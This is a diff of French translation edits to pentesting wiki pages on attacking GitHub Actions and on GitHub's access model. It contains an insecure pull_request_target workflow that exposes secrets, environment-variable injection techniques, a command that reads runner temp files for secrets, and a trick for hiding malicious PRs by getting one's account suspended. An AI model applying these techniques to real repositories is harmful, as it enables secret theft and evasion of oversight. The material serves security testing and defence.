cours`. -Dans cet exemple, un workflow est configuré pour s'exécuter après que le workflow séparé "Exécuter des tests" soit terminé : +Dans cet exemple, un workflow est configuré pour s'exécuter après que le workflow séparé "Exécuter des tests" soit complété : ```yaml on: workflow_run: @@ -217,10 +217,10 @@ workflows: [Run Tests] types: - completed ``` -Moreover, according to the docs: Le workflow démarré par l'événement `workflow_run` est capable d'**accéder aux secrets et d'écrire des tokens, même si le workflow précédent ne l'était pas**. +De plus, selon la documentation : Le flux de travail démarré par l'événement `workflow_run` est capable d'**accéder aux secrets et d'écrire des tokens, même si le flux de travail précédent ne l'était pas**. -Ce type de workflow pourrait être attaqué s'il **dépend** d'un **workflow** qui peut être **déclenché** par un utilisateur externe via **`pull_request`** ou **`pull_request_target`**. Quelques exemples vulnérables peuvent être [**trouvés dans ce blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Le premier consiste à ce que le workflow déclenché par **`workflow_run`** télécharge le code des attaquants : `${{ github.event.pull_request.head.sha }}`\ -Le second consiste à **passer** un **artifact** du code **non fiable** au workflow **`workflow_run`** et à utiliser le contenu de cet artifact d'une manière qui le rend **vulnérable à RCE**. +Ce type de flux de travail pourrait être attaqué s'il **dépend** d'un **flux de travail** qui peut être **déclenché** par un utilisateur externe via **`pull_request`** ou **`pull_request_target`**. Quelques exemples vulnérables peuvent être [**trouvés dans ce blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Le premier consiste à ce que le flux de travail déclenché par **`workflow_run`** télécharge le code des attaquants : `${{ github.event.pull_request.head.sha }}`\ +Le second consiste à **passer** un **artifact** du code **non fiable** au flux de travail **`workflow_run`** et à utiliser le contenu de cet artifact d'une manière qui le rend **vulnérable à RCE**. ### `workflow_call` @@ -230,18 +230,18 @@ TODO : Vérifiez si, lorsqu'il est exécuté à partir d'un pull_request, le cod ## Abus de l'exécution forkée -Nous avons mentionné toutes les façons dont un attaquant externe pourrait réussir à faire exécuter un workflow github, maintenant examinons comment ces exécutions, si mal configurées, pourraient être abusées : +Nous avons mentionné toutes les façons dont un attaquant externe pourrait réussir à faire exécuter un flux de travail github, maintenant examinons comment ces exécutions, si mal configurées, pourraient être abusées : ### Exécution de checkout non fiable -Dans le cas de **`pull_request`,** le workflow va être exécuté dans le **contexte de la PR** (il exécutera donc le **code malveillant de la PR**), mais quelqu'un doit **l'autoriser d'abord** et il s'exécutera avec certaines [limitations](./#pull_request). +Dans le cas de **`pull_request`,** le flux de travail va être exécuté dans le **contexte de la PR** (il exécutera donc le **code malveillant de la PR**), mais quelqu'un doit **l'autoriser d'abord** et il s'exécutera avec certaines [limitations](./#pull_request). -Dans le cas d'un workflow utilisant **`pull_request_target` ou `workflow_run`** qui dépend d'un workflow pouvant être déclenché à partir de **`pull_request_target` ou `pull_request`**, le code du dépôt original sera exécuté, donc l'**attaquant ne peut pas contrôler le code exécuté**. +Dans le cas d'un flux de travail utilisant **`pull_request_target` ou `workflow_run`** qui dépend d'un flux de travail pouvant être déclenché à partir de **`pull_request_target` ou `pull_request`**, le code du dépôt original sera exécuté, donc l'**attaquant ne peut pas contrôler le code exécuté**. > [!CAUTION] -> Cependant, si l'**action** a un **checkout explicite de la PR** qui **récupérera le code de la PR** (et non de la base), elle utilisera le code contrôlé par les attaquants. Par exemple (voir la ligne 12 où le code de la PR est téléchargé) : +> Cependant, si l'**action** a un **checkout explicite de la PR** qui **récupère le code de la PR** (et non de la base), elle utilisera le code contrôlé par les attaquants. Par exemple (voir la ligne 12 où le code de la PR est téléchargé) : -
# INSECURE. Provided as an example only.
+
# INSECURE. Fournie uniquement à titre d'exemple.
 on:
 pull_request_target
 
@@ -266,7 +266,7 @@ arg1: ${{ secrets.supersecret }}
 - uses: fakerepo/comment-on-pr@v1
 with:
 message: |
-Thank you!
+Merci !
 

 
 Le code potentiellement **non fiable est exécuté pendant `npm install` ou `npm build`** car les scripts de construction et les **packages référencés sont contrôlés par l'auteur de la PR**.
@@ -276,7 +276,7 @@ Le code potentiellement **non fiable est exécuté pendant `npm install` ou `npm
 
 ### Injections de scripts de contexte 
 
-Notez qu'il existe certains [**contextes github**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) dont les valeurs sont **contrôlées** par l'**utilisateur** créant la PR. Si l'action github utilise ces **données pour exécuter quoi que ce soit**, cela pourrait conduire à **l'exécution de code arbitraire :**
+Notez qu'il existe certains [**contextes github**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) dont les valeurs sont **contrôlées** par l'**utilisateur** créant la PR. Si l'action github utilise ces **données pour exécuter quoi que ce soit**, cela pourrait conduire à une **exécution de code arbitraire :**
 
 {{#ref}}
 gh-actions-context-script-injections.md
@@ -284,11 +284,11 @@ gh-actions-context-script-injections.md
 
 ### **Injection de script GITHUB_ENV** 
 
-D'après la documentation : Vous pouvez rendre une **variable d'environnement disponible pour toutes les étapes suivantes** dans un job de workflow en définissant ou en mettant à jour la variable d'environnement et en l'écrivant dans le fichier d'environnement **`GITHUB_ENV`**.
+D'après la documentation : Vous pouvez rendre une **variable d'environnement disponible pour toutes les étapes suivantes** dans un job de flux de travail en définissant ou en mettant à jour la variable d'environnement et en l'écrivant dans le fichier d'environnement **`GITHUB_ENV`**.
 
-Si un attaquant pouvait **injecter n'importe quelle valeur** à l'intérieur de cette variable **env**, il pourrait injecter des variables d'environnement qui pourraient exécuter du code dans les étapes suivantes telles que **LD_PRELOAD** ou **NODE_OPTIONS**.
+Si un attaquant pouvait **injecter n'importe quelle valeur** dans cette variable **env**, il pourrait injecter des variables d'environnement qui pourraient exécuter du code dans les étapes suivantes telles que **LD_PRELOAD** ou **NODE_OPTIONS**.
 
-Par exemple ([**ceci**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) et [**ceci**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imaginez un workflow qui fait confiance à un artifact téléchargé pour stocker son contenu à l'intérieur de la variable d'environnement **`GITHUB_ENV`**. Un attaquant pourrait télécharger quelque chose comme ceci pour le compromettre :
+Par exemple ([**ceci**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) et [**ceci**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imaginez un flux de travail qui fait confiance à un artifact téléchargé pour stocker son contenu dans la variable d'environnement **`GITHUB_ENV`**. Un attaquant pourrait télécharger quelque chose comme ceci pour le compromettre :
 
 

 
@@ -296,11 +296,11 @@ Par exemple ([**ceci**](https://www.legitsecurity.com/blog/github-privilege-esca
 
 #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
 
-Comme mentionné dans [**cet article de blog**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), cette action Github permet d'accéder à des artifacts provenant de différents workflows et même de dépôts.
+Comme mentionné dans [**cet article de blog**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), cette action Github permet d'accéder à des artifacts provenant de différents flux de travail et même de dépôts.
 
-Le problème est que si le paramètre **`path`** n'est pas défini, l'artifact est extrait dans le répertoire actuel et peut écraser des fichiers qui pourraient être utilisés ou même exécutés plus tard dans le workflow. Par conséquent, si l'artifact est vulnérable, un attaquant pourrait en abuser pour compromettre d'autres workflows faisant confiance à l'artifact.
+Le problème est que si le paramètre **`path`** n'est pas défini, l'artifact est extrait dans le répertoire actuel et peut écraser des fichiers qui pourraient être utilisés ou même exécutés plus tard dans le flux de travail. Par conséquent, si l'artifact est vulnérable, un attaquant pourrait en abuser pour compromettre d'autres flux de travail faisant confiance à l'artifact.
 
-Exemple de workflow vulnérable :
+Exemple de flux de travail vulnérable :
 ```yaml
 on:
 workflow_run:
@@ -448,7 +448,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 ```
 
 
-- Si le secret est utilisé **directement dans une expression**, le script shell généré est stocké **sur le disque** et est accessible.
+- Si le secret est utilisé **directement dans une expression**, le script shell généré est stocké **sur disque** et est accessible.
 - ```bash
 cat /home/runner/work/_temp/*
 ```
@@ -464,11 +464,11 @@ with:
 key: ${{ secrets.PUBLISH_KEY }}
 ```
 
-### Abus des runners auto-hébergés
+### Abus de runners auto-hébergés
 
 La façon de trouver quelles **Github Actions sont exécutées dans une infrastructure non-Github** est de rechercher **`runs-on: self-hosted`** dans la configuration yaml de l'Action Github.
 
-Les runners **auto-hébergés** peuvent avoir accès à des **informations extra sensibles**, à d'autres **systèmes réseau** (points d'extrémité vulnérables dans le réseau ? service de métadonnées ?) ou, même s'il est isolé et détruit, **plus d'une action peut être exécutée en même temps** et la malveillante pourrait **voler les secrets** de l'autre.
+Les runners **auto-hébergés** peuvent avoir accès à des **informations extra sensibles**, à d'autres **systèmes réseau** (points d'extrémité vulnérables dans le réseau ? service de métadonnées ?) ou, même s'il est isolé et détruit, **plus d'une action peut être exécutée en même temps** et l'action malveillante pourrait **voler les secrets** de l'autre.
 
 Dans les runners auto-hébergés, il est également possible d'obtenir les **secrets du processus \_Runner.Listener**\_\*\* qui contiendra tous les secrets des workflows à n'importe quelle étape en vidant sa mémoire :
 ```bash
@@ -480,7 +480,7 @@ Vérifiez [**ce post pour plus d'informations**](https://karimrahal.com/2023/01/
 ### Registre d'images Docker Github
 
 Il est possible de créer des actions Github qui **construiront et stockeront une image Docker à l'intérieur de Github**.\
-Un exemple peut être trouvé dans l'expansible suivant :
+Un exemple peut être trouvé dans le suivant extensible :
 
 

 
@@ -522,28 +522,28 @@ Un utilisateur ayant des permissions de lecture sur le dépôt pourra alors tél
 echo $gh_token | docker login ghcr.io -u  --password-stdin
 docker pull ghcr.io//:
 ```
-Alors, l'utilisateur pourrait rechercher des **secrets divulgués dans les couches d'image Docker :**
+Ensuite, l'utilisateur pourrait rechercher des **secrets exposés dans les couches d'image Docker :**
 
 {{#ref}}
 https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics
 {{#endref}}
 
-### Informations sensibles dans les journaux de Github Actions
+### Informations sensibles dans les journaux des actions Github
 
 Même si **Github** essaie de **détecter les valeurs secrètes** dans les journaux des actions et **d'éviter de les afficher**, **d'autres données sensibles** qui pourraient avoir été générées lors de l'exécution de l'action ne seront pas cachées. Par exemple, un JWT signé avec une valeur secrète ne sera pas caché à moins qu'il ne soit [spécifiquement configuré](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
 
 ## Couvrir vos traces
 
-(Technique de [**ici**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Tout d'abord, toute PR soumise est clairement visible au public sur Github et au compte GitHub cible. Sur GitHub, par défaut, nous **ne pouvons pas supprimer une PR d'internet**, mais il y a un twist. Pour les comptes Github qui sont **suspendus** par Github, toutes leurs **PRs sont automatiquement supprimées** et retirées d'internet. Donc, pour cacher votre activité, vous devez soit faire **suspendre votre compte GitHub, soit faire signaler votre compte**. Cela **cacherait toutes vos activités** sur GitHub d'internet (en gros, supprimer toutes vos PR d'exploitation)
+(Technique de [**ici**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Tout d'abord, toute PR soumise est clairement visible au public sur Github et au compte GitHub cible. Dans GitHub par défaut, nous **ne pouvons pas supprimer une PR d'internet**, mais il y a un twist. Pour les comptes Github qui sont **suspendus** par Github, toutes leurs **PRs sont automatiquement supprimées** et retirées d'internet. Donc, pour cacher votre activité, vous devez soit faire **suspendre votre compte GitHub ou faire flaguer votre compte**. Cela **cacherait toutes vos activités** sur GitHub d'internet (en gros, supprimer toutes vos PR d'exploitation)
 
 Une organisation sur GitHub est très proactive dans le signalement des comptes à GitHub. Tout ce que vous avez à faire est de partager "certaines choses" dans un problème et ils s'assureront que votre compte est suspendu dans les 12 heures :p et voilà, vous avez rendu votre exploitation invisible sur github.
 
 > [!WARNING]
-> La seule façon pour une organisation de comprendre qu'elle a été ciblée est de vérifier les journaux GitHub depuis SIEM, car depuis l'interface utilisateur de GitHub, la PR serait supprimée.
+> La seule façon pour une organisation de comprendre qu'elle a été ciblée est de vérifier les journaux GitHub depuis SIEM car depuis l'interface utilisateur de GitHub, la PR serait supprimée.
 
 ## Outils
 
-Les outils suivants sont utiles pour trouver des workflows Github Action et même en trouver des vulnérables :
+Les outils suivants sont utiles pour trouver des workflows d'actions Github et même en trouver des vulnérables :
 
 - [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
 - [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md
index c22abf205..e2ea40a34 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md
@@ -1 +1 @@
-# Gh Actions - Poisonnement d'Artifact
+# Gh Actions - Poisonnement d'artefacts
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md
index 436eb3f9b..845ad1100 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md
@@ -1 +1 @@
-# GH Actions - Poisonnement de Cache
+# GH Actions - Poisonnement de cache
diff --git a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
index 9ba7f0d45..78003ac86 100644
--- a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
+++ b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
@@ -2,9 +2,9 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-Ces façons d'accéder aux données de Github qui étaient supposément supprimées ont été [**rapportées dans cet article de blog**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
+Ces méthodes pour accéder aux données de Github qui ont été supposément supprimées ont été [**rapportées dans cet article de blog**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
 
-## Accéder aux données de fork supprimé
+## Accéder aux données de fork supprimées
 
 1. Vous fork un dépôt public
 2. Vous committez du code dans votre fork
@@ -13,7 +13,7 @@ Ces façons d'accéder aux données de Github qui étaient supposément supprim
 > [!CAUTION]
 > Les données commises dans le fork supprimé sont toujours accessibles.
 
-## Accéder aux données de dépôt supprimé
+## Accéder aux données de dépôt supprimées
 
 1. Vous avez un dépôt public sur GitHub.
 2. Un utilisateur fork votre dépôt.
@@ -21,7 +21,7 @@ Ces façons d'accéder aux données de Github qui étaient supposément supprim
 4. Vous supprimez l'ensemble du dépôt.
 
 > [!CAUTION]
-> Même si vous avez supprimé votre dépôt, tous les changements apportés à celui-ci sont toujours accessibles via les forks.
+> Même si vous avez supprimé votre dépôt, tous les changements apportés sont toujours accessibles via les forks.
 
 ## Accéder aux données de dépôt privé
 
@@ -40,9 +40,9 @@ Le même article de blog propose 2 options :
 
 Si la valeur de l'ID de commit (sha-1) est connue, il est possible d'y accéder à `https://github.com///commit/`
 
-### Bruteforcer des valeurs SHA-1 courtes
+### Bruteforcer les valeurs SHA-1 courtes
 
-C'est la même chose pour accéder à ces deux :
+C'est la même méthode pour accéder à ces deux :
 
 - [https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14](https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14)
 - [https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463](https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463)
diff --git a/src/pentesting-ci-cd/github-security/basic-github-information.md b/src/pentesting-ci-cd/github-security/basic-github-information.md
index dbfd4c19b..371227e83 100644
--- a/src/pentesting-ci-cd/github-security/basic-github-information.md
+++ b/src/pentesting-ci-cd/github-security/basic-github-information.md
@@ -4,11 +4,11 @@
 
 ## Structure de base
 
-La structure de base de l'environnement github d'une grande **entreprise** est de posséder une **entreprise** qui possède **plusieurs organisations** et chacune d'elles peut contenir **plusieurs dépôts** et **plusieurs équipes**. Les petites entreprises peuvent simplement **posséder une organisation et aucune entreprise**.
+La structure de base de l'environnement github d'une grande **entreprise** est de posséder une **entreprise** qui possède **plusieurs organisations** et chacune d'elles peut contenir **plusieurs dépôts** et **plusieurs équipes**. Les petites entreprises peuvent simplement **posséder une organisation et pas d'entreprises**.
 
 Du point de vue d'un utilisateur, un **utilisateur** peut être **membre** de **différentes entreprises et organisations**. Au sein de celles-ci, l'utilisateur peut avoir **différents rôles d'entreprise, d'organisation et de dépôt**.
 
-De plus, un utilisateur peut être **membre de différentes équipes** avec différents rôles d'entreprise, d'organisation ou de dépôt.
+De plus, un utilisateur peut être **partie de différentes équipes** avec différents rôles d'entreprise, d'organisation ou de dépôt.
 
 Et enfin, **les dépôts peuvent avoir des mécanismes de protection spéciaux**.
 
@@ -16,7 +16,7 @@ Et enfin, **les dépôts peuvent avoir des mécanismes de protection spéciaux**
 
 ### Rôles d'entreprise
 
-- **Propriétaire d'entreprise** : Les personnes ayant ce rôle peuvent **gérer les administrateurs, gérer les organisations au sein de l'entreprise, gérer les paramètres de l'entreprise, appliquer des politiques à travers les organisations**. Cependant, elles **ne peuvent pas accéder aux paramètres ou au contenu de l'organisation** à moins d'être désignées comme propriétaire de l'organisation ou d'avoir un accès direct à un dépôt appartenant à l'organisation.
+- **Propriétaire d'entreprise** : Les personnes ayant ce rôle peuvent **gérer les administrateurs, gérer les organisations au sein de l'entreprise, gérer les paramètres de l'entreprise, appliquer des politiques à travers les organisations**. Cependant, elles **ne peuvent pas accéder aux paramètres ou au contenu de l'organisation** à moins qu'elles ne soient désignées comme propriétaires d'organisation ou qu'elles ne reçoivent un accès direct à un dépôt appartenant à l'organisation.
 - **Membres d'entreprise** : Les membres des organisations appartenant à votre entreprise sont également **automatiquement membres de l'entreprise**.
 
 ### Rôles d'organisation
@@ -28,7 +28,7 @@ Dans une organisation, les utilisateurs peuvent avoir différents rôles :
 - **Gestionnaires de facturation** : Les gestionnaires de facturation sont des utilisateurs qui peuvent **gérer les paramètres de facturation de votre organisation**, tels que les informations de paiement.
 - **Gestionnaires de sécurité** : C'est un rôle que les propriétaires d'organisation peuvent attribuer à n'importe quelle équipe dans une organisation. Lorsqu'il est appliqué, il donne à chaque membre de l'équipe des permissions pour **gérer les alertes de sécurité et les paramètres à travers votre organisation, ainsi que des permissions de lecture pour tous les dépôts** dans l'organisation.
 - Si votre organisation a une équipe de sécurité, vous pouvez utiliser le rôle de gestionnaire de sécurité pour donner aux membres de l'équipe le minimum d'accès dont ils ont besoin à l'organisation.
-- **Gestionnaires d'applications Github** : Pour permettre à des utilisateurs supplémentaires de **gérer les applications GitHub appartenant à une organisation**, un propriétaire peut leur accorder des permissions de gestionnaire d'applications GitHub.
+- **Gestionnaires d'applications Github** : Pour permettre à des utilisateurs supplémentaires de **gérer les applications GitHub appartenant à une organisation**, un propriétaire peut leur accorder des permissions de gestionnaire d'application GitHub.
 - **Collaborateurs externes** : Un collaborateur externe est une personne qui a **accès à un ou plusieurs dépôts de l'organisation mais n'est pas explicitement membre** de l'organisation.
 
 Vous pouvez **comparer les permissions** de ces rôles dans ce tableau : [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
@@ -39,7 +39,7 @@ Dans _https://github.com/organizations/\/settings/member_privileges_,
 
 Les paramètres configurés ici indiqueront les permissions suivantes des membres de l'organisation :
 
-- Être administrateur, rédacteur, lecteur ou aucune permission sur tous les dépôts de l'organisation.
+- Être administrateur, rédacteur, lecteur ou sans permission sur tous les dépôts de l'organisation.
 - Si les membres peuvent créer des dépôts privés, internes ou publics.
 - Si le fork des dépôts est possible.
 - S'il est possible d'inviter des collaborateurs externes.
@@ -81,31 +81,31 @@ En accédant à **github.com**, vous pouvez vous connecter en utilisant votre **
 
 ### **Clés SSH**
 
-Vous pouvez configurer votre compte avec une ou plusieurs clés publiques permettant à la **clé privée associée d'effectuer des actions en votre nom**. [https://github.com/settings/keys](https://github.com/settings/keys)
+Vous pouvez configurer votre compte avec une ou plusieurs clés publiques permettant à la clé **privée associée d'effectuer des actions en votre nom**. [https://github.com/settings/keys](https://github.com/settings/keys)
 
 #### **Clés GPG**
 
-Vous **ne pouvez pas usurper l'identité de l'utilisateur avec ces clés**, mais si vous ne l'utilisez pas, il pourrait être possible que vous **soyez découvert en envoyant des commits sans signature**. En savoir plus sur [le mode vigilant ici](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
+Vous **ne pouvez pas usurper l'identité de l'utilisateur avec ces clés**, mais si vous ne les utilisez pas, il pourrait être possible que vous **soyez découvert pour avoir envoyé des commits sans signature**. En savoir plus sur [le mode vigilant ici](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
 
 ### **Jetons d'accès personnels**
 
-Vous pouvez générer un jeton d'accès personnel pour **donner à une application accès à votre compte**. Lors de la création d'un jeton d'accès personnel, l'**utilisateur** doit **spécifier** les **permissions** que le **jeton** aura. [https://github.com/settings/tokens](https://github.com/settings/tokens)
+Vous pouvez générer un jeton d'accès personnel pour **donner à une application l'accès à votre compte**. Lors de la création d'un jeton d'accès personnel, l'**utilisateur** doit **spécifier** les **permissions** que le **jeton** aura. [https://github.com/settings/tokens](https://github.com/settings/tokens)
 
 ### Applications Oauth
 
 Les applications Oauth peuvent vous demander des permissions **pour accéder à une partie de vos informations github ou pour vous usurper** afin d'effectuer certaines actions. Un exemple courant de cette fonctionnalité est le **bouton de connexion avec github** que vous pourriez trouver sur certaines plateformes.
 
-- Vous pouvez **créer** vos propres **applications Oauth** dans [https://github.com/settings/developers](https://github.com/settings/developers).
-- Vous pouvez voir toutes les **applications Oauth qui ont accès à votre compte** dans [https://github.com/settings/applications](https://github.com/settings/applications).
-- Vous pouvez voir les **scopes que les applications Oauth peuvent demander** dans [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps).
-- Vous pouvez voir l'accès des applications tierces dans une **organisation** dans _https://github.com/organizations/\/settings/oauth_application_policy_.
+- Vous pouvez **créer** vos propres **applications Oauth** dans [https://github.com/settings/developers](https://github.com/settings/developers)
+- Vous pouvez voir toutes les **applications Oauth qui ont accès à votre compte** dans [https://github.com/settings/applications](https://github.com/settings/applications)
+- Vous pouvez voir les **portées que les applications Oauth peuvent demander** dans [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
+- Vous pouvez voir l'accès des tiers des applications dans une **organisation** dans _https://github.com/organizations/\/settings/oauth_application_policy_.
 
 Quelques **recommandations de sécurité** :
 
-- Une **application OAuth** doit toujours **agir en tant qu'utilisateur GitHub authentifié sur l'ensemble de GitHub** (par exemple, lors de la fourniture de notifications utilisateur) et avec accès uniquement aux scopes spécifiés.
+- Une **application OAuth** doit toujours **agir en tant qu'utilisateur GitHub authentifié sur l'ensemble de GitHub** (par exemple, lors de la fourniture de notifications utilisateur) et avec accès uniquement aux portées spécifiées.
 - Une application OAuth peut être utilisée comme fournisseur d'identité en activant un "Login with GitHub" pour l'utilisateur authentifié.
-- **Ne pas** créer une **application OAuth** si vous souhaitez que votre application agisse sur un **dépôt unique**. Avec le scope `repo`, les applications OAuth peuvent **agir sur _tous_** les dépôts de l'utilisateur authentifié.
-- **Ne pas** créer une application OAuth pour agir en tant qu'application pour votre **équipe ou entreprise**. Les applications OAuth s'authentifient en tant qu'**utilisateur unique**, donc si une personne crée une application OAuth pour une entreprise à utiliser, et qu'elle quitte ensuite l'entreprise, personne d'autre n'aura accès à celle-ci.
+- **Ne** construisez pas une **application OAuth** si vous souhaitez que votre application agisse sur un **dépôt unique**. Avec la portée `repo`, les applications OAuth peuvent **agir sur _tous_** les dépôts de l'utilisateur authentifié.
+- **Ne** construisez pas une application OAuth pour agir en tant qu'application pour votre **équipe ou entreprise**. Les applications OAuth s'authentifient en tant qu'**utilisateur unique**, donc si une personne crée une application OAuth pour une entreprise à utiliser, et qu'elle quitte ensuite l'entreprise, personne d'autre n'y aura accès.
 - **Plus** ici [ici](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
 
 ### Applications Github
@@ -114,25 +114,25 @@ Les applications Github peuvent demander des permissions pour **accéder à vos
 
 - Pour installer une application GitHub, vous devez être un **propriétaire d'organisation ou avoir des permissions d'administrateur** dans un dépôt.
 - L'application GitHub doit **se connecter à un compte personnel ou à une organisation**.
-- Vous pouvez créer votre propre application Github dans [https://github.com/settings/apps](https://github.com/settings/apps).
-- Vous pouvez voir toutes les **applications Github qui ont accès à votre compte** dans [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations).
-- Voici les **points de terminaison API pour les applications Github** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). En fonction des permissions de l'application, elle pourra accéder à certaines d'entre elles.
+- Vous pouvez créer votre propre application Github dans [https://github.com/settings/apps](https://github.com/settings/apps)
+- Vous pouvez voir toutes les **applications Github qui ont accès à votre compte** dans [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
+- Voici les **points de terminaison API pour les applications Github** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). En fonction des permissions de l'application, elle pourra accéder à certains d'entre eux.
 - Vous pouvez voir les applications installées dans une **organisation** dans _https://github.com/organizations/\/settings/installations_.
 
 Quelques recommandations de sécurité :
 
-- Une application GitHub doit **prendre des actions indépendamment d'un utilisateur** (à moins que l'application n'utilise un [jeton utilisateur-à-serveur](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). Pour garder les jetons d'accès utilisateur-à-serveur plus sécurisés, vous pouvez utiliser des jetons d'accès qui expireront après 8 heures, et un jeton de rafraîchissement qui peut être échangé contre un nouveau jeton d'accès. Pour plus d'informations, voir "[Rafraîchir les jetons d'accès utilisateur-à-serveur](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
+- Une application GitHub doit **prendre des actions indépendamment d'un utilisateur** (à moins que l'application n'utilise un jeton [utilisateur-à-serveur](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). Pour garder les jetons d'accès utilisateur-à-serveur plus sécurisés, vous pouvez utiliser des jetons d'accès qui expireront après 8 heures, et un jeton de rafraîchissement qui peut être échangé contre un nouveau jeton d'accès. Pour plus d'informations, voir "[Rafraîchir les jetons d'accès utilisateur-à-serveur](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
 - Assurez-vous que l'application GitHub s'intègre avec **des dépôts spécifiques**.
 - L'application GitHub doit **se connecter à un compte personnel ou à une organisation**.
 - Ne vous attendez pas à ce que l'application GitHub sache et fasse tout ce qu'un utilisateur peut.
 - **Ne pas utiliser une application GitHub si vous avez juste besoin d'un service "Login with GitHub"**. Mais une application GitHub peut utiliser un [flux d'identification utilisateur](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) pour connecter les utilisateurs _et_ faire d'autres choses.
-- Ne créez pas une application GitHub si vous _voulez seulement_ agir en tant qu'utilisateur GitHub et faire tout ce que cet utilisateur peut faire.
-- Si vous utilisez votre application avec GitHub Actions et souhaitez modifier des fichiers de workflow, vous devez vous authentifier au nom de l'utilisateur avec un jeton OAuth qui inclut le scope `workflow`. L'utilisateur doit avoir des permissions d'administrateur ou d'écriture sur le dépôt contenant le fichier de workflow. Pour plus d'informations, voir "[Comprendre les scopes pour les applications OAuth](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
+- Ne construisez pas une application GitHub si vous _voulez seulement_ agir en tant qu'utilisateur GitHub et faire tout ce que cet utilisateur peut faire.
+- Si vous utilisez votre application avec GitHub Actions et souhaitez modifier des fichiers de workflow, vous devez vous authentifier au nom de l'utilisateur avec un jeton OAuth qui inclut la portée `workflow`. L'utilisateur doit avoir des permissions d'administrateur ou d'écriture sur le dépôt contenant le fichier de workflow. Pour plus d'informations, voir "[Comprendre les portées pour les applications OAuth](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
 - **Plus** ici [ici](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
 
 ### Actions Github
 
-Ce **n'est pas un moyen de s'authentifier dans github**, mais une **action** Github malveillante pourrait obtenir un **accès non autorisé à github** et **selon** les **privilèges** accordés à l'action, plusieurs **attaques différentes** pourraient être réalisées. Voir ci-dessous pour plus d'informations.
+Ceci **n'est pas un moyen de s'authentifier dans github**, mais une **action** Github malveillante pourrait obtenir un **accès non autorisé à github** et **selon** les **privilèges** accordés à l'Action, plusieurs **attaques différentes** pourraient être réalisées. Voir ci-dessous pour plus d'informations.
 
 ## Actions Git
 
